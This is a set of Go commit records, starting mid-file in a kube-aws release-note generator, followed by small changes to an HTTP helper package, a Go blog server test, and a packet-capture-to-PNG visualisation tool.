		}

		stderrScanner := bufio.NewScanner(stderrReader)
		go func() {
			for stderrScanner.Scan() {
				stderrBuffer.WriteString(stderrScanner.Text())
			}
		}()
	}

	err := cmd.Start()
	if err != nil {
		return "", fmt.Errorf("failed to start command: %v: %s", err, stderrBuffer.String())
	}

	err = cmd.Wait()
	if err != nil {
		return "", fmt.Errorf("failed to wait command: %v: %s", err, stderrBuffer.String())
	}

	return stdoutBuffer.String(), nil
}

func filesChangedInCommit(refName string) []string {
	output, err := capture("bash", []string{"-c", fmt.Sprintf("git log -m -1 --name-only --pretty=format: %s | awk -v RS=  '{ print; exit }'", refName)})
	if err != nil {
		panic(err)
	}
	files := strings.Split(output, "\n")
	return files
}

func onlyDocsAreChanged(files []string) bool {
	all := true
	for _, file := range files {
		all = all && (strings.HasPrefix(file, "Documentation/") || strings.HasPrefix(file, "docs/"))
	}
	return all
}

func onlyMiscFilesAreChanged(files []string) bool {
	all := true
	for _, file := range files {
		all = all && (len(strings.Split(file, "/")) == 1 || strings.HasPrefix(file, "hack/") || strings.HasPrefix(file, "ci/") || strings.HasPrefix(file, "e2e/"))
	}
	return all
}

func containsAny(str string, substrs []string) bool {
	for _, sub := range substrs {
		if strings.Contains(str, sub) {
			return true
		}
	}
	return false
}

type Labels []github.Label

func (labels Labels) Contains(name string) bool {
	found := false
	for _, label := range labels {
		if label.GetName() == name {
			found = true
		}
	}
	return found
}

var errorlog *log.Logger

func init() {
	errorlog = log.New(os.Stderr, "", 0)
}

func exitWithErrorMessage(msg string) {
	errorlog.Println(msg)
	os.Exit(1)
}

func indent(orig string, num int) string {
	lines := strings.Split(orig, "\n")
	space := ""
	buf := bytes.Buffer{}
	for i := 0; i < num; i++ {
		space = space + " "
	}
	for _, line := range lines {
		buf.WriteString(fmt.Sprintf("%s%s\n", space, line))
	}
	return buf.String()
}

func generateNote(primaryMaintainer string, org string, repository string, releaseVersion string) {
	accessToken, found := os.LookupEnv("GITHUB_ACCESS_TOKEN")
	if !found {
		exitWithErrorMessage("GITHUB_ACCESS_TOKEN must be set")
	}
	ctx := context.Background()
	ts := oauth2.StaticTokenSource(
		&oauth2.Token{AccessToken: accessToken},
	)
	tc := oauth2.NewClient(ctx, ts)

	client := github.NewClient(tc)

	milestoneOpt := &github.MilestoneListOptions{
		ListOptions: github.ListOptions{PerPage: 10},
	}

	allMilestones := []*github.Milestone{}
	for {
		milestones, resp, err := client.Issues.ListMilestones(ctx, org, repository, milestoneOpt)
		PanicIfError(err)
		allMilestones = append(allMilestones, milestones...)
		if resp.NextPage == 0 {
			break
		}
		milestoneOpt.Page = resp.NextPage
	}

	milestoneNumber := -1
	for _, m := range allMilestones {
		if m.GetTitle() == releaseVersion {
			milestoneNumber = m.GetNumber()
		}
	}
	if milestoneNumber == -1 {
		exitWithErrorMessage(fmt.Sprintf("Milestone titled \"%s\" not found", releaseVersion))
	}

	opt := &github.IssueListByRepoOptions{
		ListOptions: github.ListOptions{PerPage: 10},
		State:       "closed",
		Sort:        "created",
		Direction:   "asc",
		Milestone:   fmt.Sprintf("%d", milestoneNumber),
	}

	items := []Item{}

	// list all organizations for user "mumoshu"
	var allIssues []*github.Issue
	for {
		issues, resp, err := client.Issues.ListByRepo(ctx, org, repository, opt)
		PanicIfError(err)
		for _, issue := range issues {
			if issue.PullRequestLinks == nil {
				fmt.Printf("skipping issue #%d %s\n", issue.GetNumber(), issue.GetTitle())
				continue
			}
			pr, _, err := client.PullRequests.Get(ctx, org, repository, issue.GetNumber())
			PanicIfError(err)
			if !pr.GetMerged() {
				continue
			}
			hash := pr.GetMergeCommitSHA()

			login := issue.User.GetLogin()
			num := issue.GetNumber()
			title := issue.GetTitle()
			summary := ""
			if login != primaryMaintainer {
				summary = fmt.Sprintf("#%d: %s(Thanks to @%s)", num, title, login)
			} else {
				summary = fmt.Sprintf("#%d: %s", num, title)
			}

			labels := Labels(issue.Labels)

			isRefactoring := labels.Contains("refactoring")

			fmt.Printf("analyzing #%d %s...\n", num, title)
			fmt.Printf("labels=%v\n", labels)
			changedFiles := filesChangedInCommit(hash)

			isFeature := labels.Contains("feature")

			isDocUpdate := labels.Contains("documentation") ||
				(!isFeature && onlyDocsAreChanged(changedFiles))
			if isDocUpdate {
				fmt.Printf("%s is doc update\n", title)
			}

			isMiscUpdate := onlyMiscFilesAreChanged(changedFiles)
			if isMiscUpdate {
				fmt.Printf("%s is misc update\n", title)
			}

			isBugFix := labels.Contains("bug") ||
				(!isRefactoring && !isDocUpdate && !isMiscUpdate && (strings.Contains(title, "fix") || strings.Contains(title, "Fix")))

			isProposal := labels.Contains("proposal") ||
				(!isRefactoring && !isDocUpdate && !isMiscUpdate && !isBugFix && (strings.Contains(title, "proposal") || strings.Contains(title, "Proposal")))

			isImprovement := labels.Contains("improvement") ||
				(!isRefactoring && !isDocUpdate && !isMiscUpdate && !isBugFix && !isProposal && containsAny(title, []string{"improve", "Improve", "update", "Update", "bump", "Bump", "Rename", "rename"}))

			if !isFeature {
				isFeature = !isRefactoring && !isDocUpdate && !isMiscUpdate && !isBugFix && !isProposal && !isImprovement
			}

			actionsRequired := ""
			noteShouldBeAdded := false
			for _, label := range issue.Labels {
				if label.GetName() == "release-note" {
					noteShouldBeAdded = true
				}
			}
			if noteShouldBeAdded {
				body := issue.GetBody()
				splits := strings.Split(body, "**Release note**:")
				if len(splits) != 2 {
					panic(fmt.Errorf("failed to extract release note from PR body: unexpected format of PR body: it should include \"**Release note**:\" followed by note: issue=%s body=%s", title, body))
				}
				fmt.Printf("actions required(raw)=\"%s\"\n", splits[1])
				actionsRequired = strings.TrimSpace(splits[1])
				fmt.Printf("actions required(trimmed)=\"%s\"\n", actionsRequired)

				if !strings.HasPrefix(actionsRequired, "* ") {
					actionsRequired = fmt.Sprintf("* %s", actionsRequired)
				}
			}

			item := Item{
				number:          num,
				title:           title,
				summary:         summary,
				actionsRequired: actionsRequired,
				isMetaUpdate:    isMiscUpdate,
				isDocUpdate:     isDocUpdate,
				isImprovement:   isImprovement,
				isFeature:       isFeature,
				isBugFix:        isBugFix,
				isProposal:      isProposal,
				isRefactoring:   isRefactoring,
			}
			items = append(items, item)
			//Info(summary)
		}
		allIssues = append(allIssues, issues...)
		if resp.NextPage == 0 {
			break
		}
		opt.Page = resp.NextPage
	}

	Info("# Changelog since v")

	Header("Component versions")

	println("Kubernetes: v")
	println("Etcd: v")
	println("Calico: v")
	println("Helm/Tiller: v")

	Header("Actions required")
	for _, item := range items {
		if item.actionsRequired != "" {
			fmt.Printf("* #%d: %s\n%s\n", item.number, item.title, indent(item.actionsRequired, 2))
		}
	}

	Header("Features")
	for _, item := range items {
		if item.isFeature {
			Info("* " + item.summary)
		}
	}

	Header("Improvements")
	for _, item := range items {
		if item.isImprovement {
			Info("* " + item.summary)
		}
	}

	Header("Bug fixes")
	for _, item := range items {
		if item.isBugFix {
			Info("* " + item.summary)
		}
	}

	Header("Documentation")
	for _, item := range items {
		if item.isDocUpdate {
			Info("* " + item.summary)
		}
	}

	Header("Refactorings")
	for _, item := range items {
		if item.isRefactoring {
			Info("* " + item.summary)
		}
	}

	Header("Other changes")
	for _, item := range items {
		if !item.isDocUpdate && !item.isFeature && !item.isImprovement && !item.isBugFix && !item.isRefactoring {
			Info("* " + item.summary)
		}
	}
}

func main() {
	releaseVersion, found := os.LookupEnv("VERSION")
	if !found {
		exitWithErrorMessage("VERSION must be set")
	}
	generateNote("mumoshu", "kubernetes-incubator", "kube-aws", releaseVersion)
}
<|endoftext|>


<commit_before>// Package httpc implements HTTP request and response helpers.
package httpc

import (
	"fmt"
	"net"
	"net/http"
	"time"
)

// key represents httpc context.Context keys.
type key int

// Package context.Context keys.
const keyError key = iota

// Abort replies to the request with a default plain text error.
func Abort(w http.ResponseWriter, code int) error {
	return RenderPlain(w, http.StatusText(code), code)
}

// NoContent writes http.StatusNoContent to the header.
func NoContent(w http.ResponseWriter) error {
	w.WriteHeader(http.StatusNoContent)
	return nil
}

// Redirect replies to the request with a redirect to path.
// This is the equivalent to http.Redirect and is here for consistency.
func Redirect(w http.ResponseWriter, req *http.Request, path string, code int) error {
	http.Redirect(w, req, path, code)
	return nil
}

// RedirectTo replies to the request with a redirect to the application
// path constructed from the format specifier and args.
func RedirectTo(w http.ResponseWriter, req *http.Request, format string, args ...interface{}) error {
	return Redirect(w, req, fmt.Sprintf(format, args...), http.StatusSeeOther)
}

// RemoteAddr returns a best guess remote address.
func RemoteAddr(req *http.Request) string {
	addr := req.Header.Get("X-Real-IP")
	if len(addr) == 0 {
		addr = req.Header.Get("X-Forwarded-For")
		if addr == "" {
			addr = req.RemoteAddr
			host, _, err := net.SplitHostPort(addr)
			if err != nil {
				return addr
			}
			return host
		}
	}
	return addr
}

// SetCookie adds a Set-Cookie header to the provided
// http.ResponseWriter's headers. The provided cookie must
// have a valid Name. Invalid cookies may be silently dropped.
func SetCookie(w http.ResponseWriter, cookie *http.Cookie) {
	if cookie.MaxAge > 0 {
		cookie.Expires = time.Now().Add(time.Duration(cookie.MaxAge) * time.Second)
	} else if cookie.MaxAge < 0 {
		cookie.Expires = time.Unix(1, 0)
	}
	http.SetCookie(w, cookie)
}
<commit_msg>Add ServeFile helper.<commit_after>// Package httpc implements HTTP request and response helpers.
package httpc

import (
	"fmt"
	"net"
	"net/http"
	"time"
)

// key represents httpc context.Context keys.
type key int

// Package context.Context keys.
const keyError key = iota

// Abort replies to the request with a default plain text error.
func Abort(w http.ResponseWriter, code int) error {
	return RenderPlain(w, http.StatusText(code), code)
}

// NoContent writes http.StatusNoContent to the header.
func NoContent(w http.ResponseWriter) error {
	w.WriteHeader(http.StatusNoContent)
	return nil
}

// Redirect replies to the request with a redirect to path.
// This is the equivalent to http.Redirect and is here for consistency.
func Redirect(w http.ResponseWriter, req *http.Request, path string, code int) error {
	http.Redirect(w, req, path, code)
	return nil
}

// RedirectTo replies to the request with a redirect to the application
// path constructed from the format specifier and args.
func RedirectTo(w http.ResponseWriter, req *http.Request, format string, args ...interface{}) error {
	return Redirect(w, req, fmt.Sprintf(format, args...), http.StatusSeeOther)
}

// RemoteAddr returns a best guess remote address.
func RemoteAddr(req *http.Request) string {
	addr := req.Header.Get("X-Real-IP")
	if len(addr) == 0 {
		addr = req.Header.Get("X-Forwarded-For")
		if addr == "" {
			addr = req.RemoteAddr
			host, _, err := net.SplitHostPort(addr)
			if err != nil {
				return addr
			}
			return host
		}
	}
	return addr
}

// SetCookie adds a Set-Cookie header to the provided
// http.ResponseWriter's headers. The provided cookie must
// have a valid Name. Invalid cookies may be silently dropped.
func SetCookie(w http.ResponseWriter, cookie *http.Cookie) {
	if cookie.MaxAge > 0 {
		cookie.Expires = time.Now().Add(time.Duration(cookie.MaxAge) * time.Second)
	} else if cookie.MaxAge < 0 {
		cookie.Expires = time.Unix(1, 0)
	}
	http.SetCookie(w, cookie)
}

// ServeFile replies to the request with the contents of the named file.
// This is the equivalent to http.ServeFile and is here for consistency.
func ServeFile(w http.ResponseWriter, req *http.Request, name string) error {
	http.ServeFile(w, req, name)
	return nil
}
<|endoftext|>


<commit_before>// +build !appengine

package main

import (
	"net/http/httptest"
	"strings"
	"testing"

	"golang.org/x/tools/blog"
)

func TestServer(t *testing.T) {
	mux, err := newServer(false, "/static", blog.Config{
		TemplatePath: "./template",
	})
	if err != nil {
		t.Fatal(err)
	}
	r := httptest.NewRequest("GET", "/", nil)
	w := httptest.NewRecorder()
	mux.ServeHTTP(w, r)
	if w.Code != 200 {
		t.Errorf("GET /: code = %d; want 200", w.Code)
	}
	want := "The Go Programming Language Blog"
	if !strings.Contains(w.Body.String(), want) {
		t.Errorf("GET /: want to find %q, got\n\n%q", want, w.Body.String())
	}
	if hdr := w.Header().Get("Content-Type"); hdr != "text/html; charset=utf-8" {
		t.Errorf("GET /: want text/html content-type, got %q", hdr)
	}
}
<commit_msg>[x/blog] blog: fix test on android, add copyright header<commit_after>// Copyright 2018 The Go Authors.  All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// +build !appengine

package main

import (
	"net/http/httptest"
	"runtime"
	"strings"
	"testing"

	"golang.org/x/tools/blog"
)

func TestServer(t *testing.T) {
	if runtime.GOOS == "android" {
		t.Skip("skipping on android; can't run go tool")
	}
	mux, err := newServer(false, "/static", blog.Config{
		TemplatePath: "./template",
	})
	if err != nil {
		t.Fatal(err)
	}
	r := httptest.NewRequest("GET", "/", nil)
	w := httptest.NewRecorder()
	mux.ServeHTTP(w, r)
	if w.Code != 200 {
		t.Errorf("GET /: code = %d; want 200", w.Code)
	}
	want := "The Go Programming Language Blog"
	if !strings.Contains(w.Body.String(), want) {
		t.Errorf("GET /: want to find %q, got\n\n%q", want, w.Body.String())
	}
	if hdr := w.Header().Get("Content-Type"); hdr != "text/html; charset=utf-8" {
		t.Errorf("GET /: want text/html content-type, got %q", hdr)
	}
}
<|endoftext|>


<commit_before>package main

import (
	"flag"
	"fmt"
	"github.com/google/gopacket"
	"github.com/google/gopacket/layers"
	"github.com/google/gopacket/pcap"
	"image"
	"image/color"
	"image/png"
	"log"
	"os"
	"os/signal"
	"strconv"
	"time"
)

const Version = "0.0.2"

const flagTimeslize = 0x1

type Data struct {
	toa     int64 // Timestamp in microseconds
	payload []byte
}

func getBitsFromPacket(packet []byte, byteP, bitP *int, bpP int) uint8 {
	var c uint8
	for i := 0; i < (bpP / 3); i++ {
		if *byteP >= len(packet) {
			break
		}
		c |= (packet[*byteP] & (1 << uint8(7-*bitP)))
		*bitP += 1
		if *bitP%8 == 0 {
			*bitP = 0
			*byteP += 1
		}
	}
	return c
}

func createPixel(packet []byte, byteP, bitP *int, bpP int) (c color.Color) {
	var r, g, b uint8

	if bpP == 1 {
		if (packet[*byteP] & (1 << uint8(7-*bitP))) == 0 {
			c = color.NRGBA{R: r,
				G: g,
				B: b,
				A: 255}
		} else {
			c = color.NRGBA{R: 255,
				G: 255,
				B: 255,
				A: 255}
		}
		*bitP += 1
		if *bitP%8 == 0 {
			*bitP = 0
			*byteP += 1
		}
	} else {
		r = getBitsFromPacket(packet, byteP, bitP, bpP)
		g = getBitsFromPacket(packet, byteP, bitP, bpP)
		b = getBitsFromPacket(packet, byteP, bitP, bpP)

		c = color.NRGBA{R: r,
			G: g,
			B: b,
			A: 255}
	}
	return
}

func createTimeVisualization(data []Data, xMax int, prefix string, ts uint, bitsPerPixel int) {
	var xPos int
	var bitPos int
	var bytePos int
	var packetLen int
	var firstPkg time.Time

	img := image.NewNRGBA(image.Rect(0, 0, (xMax*8)/bitsPerPixel+1, int(ts)))

	for pkg := range data {
		if firstPkg.IsZero() {
			firstPkg = time.Unix(0, data[pkg].toa*int64(time.Microsecond))
		}
		packetLen = len(data[pkg].payload)
		xPos = 0
		bitPos = 0
		bytePos = 0
		for {
			c := createPixel(data[pkg].payload, &bytePos, &bitPos, bitsPerPixel)
			img.Set(xPos, int(data[pkg].toa%int64(ts)), c)
			xPos++
			if bytePos >= packetLen {
				break
			}
		}
	}

	filename := prefix
	filename += "-"
	filename += firstPkg.Format(time.RFC3339Nano)
	filename += ".png"
	f, err := os.Create(filename)
	if err != nil {
		log.Fatal(err)
	}

	if err := png.Encode(f, img); err != nil {
		f.Close()
		log.Fatal(err)
	}

	if err := f.Close(); err != nil {
		log.Fatal(err)
	}

	return
}

func createFixedVisualization(data []Data, xMax int, prefix string, num int, bitsPerPixel int) {
	var xPos int
	var bitPos int
	var bytePos int
	var packetLen int

	img := image.NewNRGBA(image.Rect(0, 0, (xMax*8)/bitsPerPixel+1, len(data)))

	for yPos := range data {
		packetLen = len(data[yPos].payload)
		xPos = 0
		bitPos = 0
		bytePos = 0
		for {
			c := createPixel(data[yPos].payload, &bytePos, &bitPos, bitsPerPixel)
			img.Set(xPos, yPos, c)
			xPos++
			if bytePos >= packetLen {
				break
			}
		}
	}

	filename := prefix
	filename += strconv.Itoa(num)
	filename += ".png"
	f, err := os.Create(filename)
	if err != nil {
		log.Fatal(err)
	}

	if err := png.Encode(f, img); err != nil {
		f.Close()
		log.Fatal(err)
	}

	if err := f.Close(); err != nil {
		log.Fatal(err)
	}

	return
}

func handlePackets(ps *gopacket.PacketSource, num uint, ch chan Data, sig <-chan os.Signal) {
	var count uint
	for packet := range ps.Packets() {
		var k Data

		select {
		case isr := <-sig:
			fmt.Println(isr)
			close(ch)
			return
		default:
		}
		count++
		if num != 0 && count > num {
			break
		}

		elements := packet.Data()
		if len(elements) == 0 {
			continue
		}
		k = Data{toa: (packet.Metadata().CaptureInfo.Timestamp.UnixNano() / int64(time.Microsecond)), payload: packet.Data()}
		ch <- k
	}
	close(ch)
	return
}

func availableInterfaces() {
	devices, err := pcap.FindAllDevs()
	if err != nil {
		log.Fatal(err)
		os.Exit(1)
	}

	for _, device := range devices {
		if len(device.Addresses) == 0 {
			continue
		}
		fmt.Println("Interface: ", device.Name)
		for _, address := range device.Addresses {
			fmt.Println("   IP address:  ", address.IP)
			fmt.Println("   Subnet mask: ", address.Netmask)
		}
		fmt.Println("")
	}
}

func main() {
	var err error
	var handle *pcap.Handle
	var data []Data
	var xMax int
	var index int = 1
	var flags byte
	var slicer int64
	ch := make(chan Data)
	sig := make(chan os.Signal, 1)
	signal.Notify(sig, os.Interrupt)

	dev := flag.String("interface", "", "Choose an interface for online processing")
	file := flag.String("file", "", "Choose a file for offline processing")
	filter := flag.String("filter", "", "Set a specific filter")
	lst := flag.Bool("list_interfaces", false, "List available interfaces")
	vers := flag.Bool("version", false, "Show version")
	help := flag.Bool("help", false, "Show this help")
	num := flag.Uint("count", 25, "Number of packets to process.\n\tIf argument is 0 the limit is removed")
	output := flag.String("prefix", "image", "Prefix of the resulting image")
	size := flag.Uint("size", 25, "Number of packets per image")
	bits := flag.Uint("bits", 24, "Number of bits per pixel.\n\tIt must be divisible by three and smaller than 25")
	ts := flag.Uint("timeslize", 0, "Number of microseconds per resulting image.\n\tSo each pixel of the height of the resulting image represents one microsecond")
	flag.Parse()

	if flag.NFlag() < 1 {
		fmt.Println(os.Args[0], "[-bits ...] [-count ...] [-file ... | -interface ...] [-filter ...] [-list_interfaces] [-help] [-prefix ...] [-size ... | -timeslize ...] [-version]\n")
		flag.PrintDefaults()
		return
	}

	if *lst {
		availableInterfaces()
		return
	}

	if *vers {
		fmt.Println("Version:", Version)
		return
	}

	if *bits%3 != 0 && *bits != 1 {
		fmt.Println(*bits, "must be divisible by three or one")
		return
	} else if *bits > 25 {
		fmt.Println(*bits, "must be smaller than 25")
		return
	}

	if *ts != 0 {
		flags |= flagTimeslize
	}

	if *help {
		fmt.Println(os.Args[0], "[-bits ...] [-count ...] [-file ... | -interface ...] [-filter ...] [-list_interfaces] [-help] [-prefix ...] [-size ... | -timeslize ...] [-version]\n")
		flag.PrintDefaults()
		return
	}

	if len(*dev) > 0 {
		handle, err = pcap.OpenLive(*dev, 4096, true, pcap.BlockForever)
		if err != nil {
			log.Fatal(err)
			os.Exit(1)
		}
	} else if len(*file) > 0 {
		handle, err = pcap.OpenOffline(*file)
		if err != nil {
			log.Fatal(err)
			os.Exit(1)
		}
	} else {
		fmt.Println("Source is missing")
		return
	}
	defer handle.Close()

	if len(*filter) != 0 {
		err = handle.SetBPFFilter(*filter)
		if err != nil {
			log.Fatal(err, "\tInvalid filter: ", *filter)
			os.Exit(1)
		}
	}

	packetSource := gopacket.NewPacketSource(handle, layers.LayerTypeEthernet)
	packetSource.DecodeOptions = gopacket.Lazy

	go handlePackets(packetSource, *num, ch, sig)

	for i, ok := <-ch; ok; i, ok = <-ch {
		if (flags & flagTimeslize) == flagTimeslize {
			if slicer == 0 {
				slicer = i.toa + int64(*ts)
			}
			if slicer < i.toa {
				xMax++
				createTimeVisualization(data, xMax, *output, *ts, int(*bits))
				xMax = 0
				data = data[:0]
				slicer = i.toa + int64(*ts)
			}
			data = append(data, i)
			if xMax < len(i.payload) {
				xMax = len(i.payload)
			}
		} else {
			data = append(data, i)
			if xMax < len(i.payload) {
				xMax = len(i.payload)
			}
			if len(data) >= int(*size) {
				xMax++
				createFixedVisualization(data, xMax, *output, index, int(*bits))
				xMax = 0
				index++
				data = data[:0]
			}
		}
	}
	if len(data) > 0 {
		xMax++
		if (flags & flagTimeslize) == flagTimeslize {
			createTimeVisualization(data, xMax, *output, *ts, int(*bits))
		} else {
			createFixedVisualization(data, xMax, *output, index, int(*bits))
		}
	}

}
<commit_msg>Fix copy/paste stuff<commit_after>package main

import (
	"flag"
	"fmt"
	"github.com/google/gopacket"
	"github.com/google/gopacket/layers"
	"github.com/google/gopacket/pcap"
	"image"
	"image/color"
	"image/png"
	"log"
	"os"
	"os/signal"
	"strconv"
	"time"
)

const Version = "0.0.2"

const flagTimeslize = 0x1

type Data struct {
	toa     int64 // Timestamp in microseconds
	payload []byte
}

func getBitsFromPacket(packet []byte, byteP, bitP *int, bpP int) uint8 {
	var c uint8
	for i := 0; i < (bpP / 3); i++ {
		if *byteP >= len(packet) {
			break
		}
		c |= (packet[*byteP] & (1 << uint8(7-*bitP)))
		*bitP += 1
		if *bitP%8 == 0 {
			*bitP = 0
			*byteP += 1
		}
	}
	return c
}

func createPixel(packet []byte, byteP, bitP *int, bpP int) (c color.Color) {
	var r, g, b uint8

	if bpP == 1 {
		if (packet[*byteP] & (1 << uint8(7-*bitP))) == 0 {
			c = color.NRGBA{R: 0,
				G: 0,
				B: 0,
				A: 255}
		} else {
			c = color.NRGBA{R: 255,
				G: 255,
				B: 255,
				A: 255}
		}
		*bitP += 1
		if *bitP%8 == 0 {
			*bitP = 0
			*byteP += 1
		}
	} else {
		r = getBitsFromPacket(packet, byteP, bitP, bpP)
		g = getBitsFromPacket(packet, byteP, bitP, bpP)
		b = getBitsFromPacket(packet, byteP, bitP, bpP)

		c = color.NRGBA{R: r,
			G: g,
			B: b,
			A: 255}
	}
	return
}

func createTimeVisualization(data []Data, xMax int, prefix string, ts uint, bitsPerPixel int) {
	var xPos int
	var bitPos int
	var bytePos int
	var packetLen int
	var firstPkg time.Time

	img := image.NewNRGBA(image.Rect(0, 0, (xMax*8)/bitsPerPixel+1, int(ts)))

	for pkg := range data {
		if firstPkg.IsZero() {
			firstPkg = time.Unix(0, data[pkg].toa*int64(time.Microsecond))
		}
		packetLen = len(data[pkg].payload)
		xPos = 0
		bitPos = 0
		bytePos = 0
		for {
			c := createPixel(data[pkg].payload, &bytePos, &bitPos, bitsPerPixel)
			img.Set(xPos, int(data[pkg].toa%int64(ts)), c)
			xPos++
			if bytePos >= packetLen {
				break
			}
		}
	}

	filename := prefix
	filename += "-"
	filename += firstPkg.Format(time.RFC3339Nano)
	filename += ".png"
	f, err := os.Create(filename)
	if err != nil {
		log.Fatal(err)
	}

	if err := png.Encode(f, img); err != nil {
		f.Close()
		log.Fatal(err)
	}

	if err := f.Close(); err != nil {
		log.Fatal(err)
	}

	return
}

func createFixedVisualization(data []Data, xMax int, prefix string, num int, bitsPerPixel int) {
	var xPos int
	var bitPos int
	var bytePos int
	var packetLen int

	img := image.NewNRGBA(image.Rect(0, 0, (xMax*8)/bitsPerPixel+1, len(data)))

	for yPos := range data {
		packetLen = len(data[yPos].payload)
		xPos = 0
		bitPos = 0
		bytePos = 0
		for {
			c := createPixel(data[yPos].payload, &bytePos, &bitPos, bitsPerPixel)
			img.Set(xPos, yPos, c)
			xPos++
			if bytePos >= packetLen {
				break
			}
		}
	}

	filename := prefix
	filename += strconv.Itoa(num)
	filename += ".png"
	f, err := os.Create(filename)
	if err != nil {
		log.Fatal(err)
	}

	if err := png.Encode(f, img); err != nil {
		f.Close()
		log.Fatal(err)
	}

	if err := f.Close(); err != nil {
		log.Fatal(err)
	}

	return
}

func handlePackets(ps *gopacket.PacketSource, num uint, ch chan Data, sig <-chan os.Signal) {
	var count uint
	for packet := range ps.Packets() {
		var k Data

		select {
		case isr := <-sig:
			fmt.Println(isr)
			close(ch)
			return
		default:
		}
		count++
		if num != 0 && count > num {
			break
		}

		elements := packet.Data()
		if len(elements) == 0 {
			continue
		}
		k = Data{toa: (packet.Metadata().CaptureInfo.Timestamp.UnixNano() / int64(time.Microsecond)), payload: packet.Data()}
		ch <- k
	}
	close(ch)
	return
}

func availableInterfaces() {
	devices, err := pcap.FindAllDevs()
	if err != nil {
		log.Fatal(err)
		os.Exit(1)
	}

	for _, device := range devices {
		if len(device.Addresses) == 0 {
			continue
		}
		fmt.Println("Interface: ", device.Name)
		for _, address := range device.Addresses {
			fmt.Println("   IP address:  ", address.IP)
			fmt.Println("   Subnet mask: ", address.Netmask)
		}
		fmt.Println("")
	}
}

func main() {
	var err error
	var handle *pcap.Handle
	var data []Data
	var xMax int
	var index int = 1
	var flags byte
	var slicer int64
	ch := make(chan Data)
	sig := make(chan os.Signal, 1)
	signal.Notify(sig, os.Interrupt)

	dev := flag.String("interface", "", "Choose an interface for online processing")
	file := flag.String("file", "", "Choose a file for offline processing")
	filter := flag.String("filter", "", "Set a specific filter")
	lst := flag.Bool("list_interfaces", false, "List available interfaces")
	vers := flag.Bool("version", false, "Show version")
	help := flag.Bool("help", false, "Show this help")
	num := flag.Uint("count", 25, "Number of packets to process.\n\tIf argument is 0 the limit is removed")
	output := flag.String("prefix", "image", "Prefix of the resulting image")
	size := flag.Uint("size", 25, "Number of packets per image")
	bits := flag.Uint("bits", 24, "Number of bits per pixel.\n\tIt must be divisible by three and smaller than 25")
	ts := flag.Uint("timeslize", 0, "Number of microseconds per resulting image.\n\tSo each pixel of the height of the resulting image represents one microsecond")
	flag.Parse()

	if flag.NFlag() < 1 {
		fmt.Println(os.Args[0], "[-bits ...] [-count ...] [-file ... | -interface ...] [-filter ...] [-list_interfaces] [-help] [-prefix ...] [-size ... | -timeslize ...] [-version]\n")
		flag.PrintDefaults()
		return
	}

	if *lst {
		availableInterfaces()
		return
	}

	if *vers {
		fmt.Println("Version:", Version)
		return
	}

	if *bits%3 != 0 && *bits != 1 {
		fmt.Println(*bits, "must be divisible by three or one")
		return
	} else if *bits > 25 {
		fmt.Println(*bits, "must be smaller than 25")
		return
	}

	if *ts != 0 {
		flags |= flagTimeslize
	}

	if *help {
		fmt.Println(os.Args[0], "[-bits ...] [-count ...] [-file ... | -interface ...] [-filter ...] [-list_interfaces] [-help] [-prefix ...] [-size ... | -timeslize ...] [-version]\n")
		flag.PrintDefaults()
		return
	}

	if len(*dev) > 0 {
		handle, err = pcap.OpenLive(*dev, 4096, true, pcap.BlockForever)
		if err != nil {
			log.Fatal(err)
			os.Exit(1)
		}
	} else if len(*file) > 0 {
		handle, err = pcap.OpenOffline(*file)
		if err != nil {
			log.Fatal(err)
			os.Exit(1)
		}
	} else {
		fmt.Println("Source is missing")
		return
	}
	defer handle.Close()

	if len(*filter) != 0 {
		err = handle.SetBPFFilter(*filter)
		if err != nil {
			log.Fatal(err, "\tInvalid filter: ", *filter)
			os.Exit(1)
		}
	}

	packetSource := gopacket.NewPacketSource(handle, layers.LayerTypeEthernet)
	packetSource.DecodeOptions = gopacket.Lazy

	go handlePackets(packetSource, *num, ch, sig)

	for i, ok := <-ch; ok; i, ok = <-ch {
		if (flags & flagTimeslize) == flagTimeslize {
			if slicer == 0 {
				slicer = i.toa + int64(*ts)
			}
			if slicer < i.toa {
				xMax++
				createTimeVisualization(data, xMax, *output, *ts, int(*bits))
				xMax = 0
				data = data[:0]
				slicer = i.toa + int64(*ts)
			}
			data = append(data, i)
			if xMax < len(i.payload) {
				xMax = len(i.payload)
			}
		} else {
			data = append(data, i)
			if xMax < len(i.payload) {
				xMax = len(i.payload)
			}
			if len(data) >= int(*size) {
				xMax++
				createFixedVisualization(data, xMax, *output, index, int(*bits))
				xMax = 0
				index++
				data = data[:0]
			}
		}
	}
	if len(data) > 0 {
		xMax++
		if (flags & flagTimeslize) == flagTimeslize {
			createTimeVisualization(data, xMax, *output, *ts, int(*bits))
		} else {
			createFixedVisualization(data, xMax, *output, index, int(*bits))
		}
	}

}
<|endoftext|>


<commit_before><commit_msg>Handle frame level unsynchronisation flag (v2.4.0)<commit_after><|endoftext|>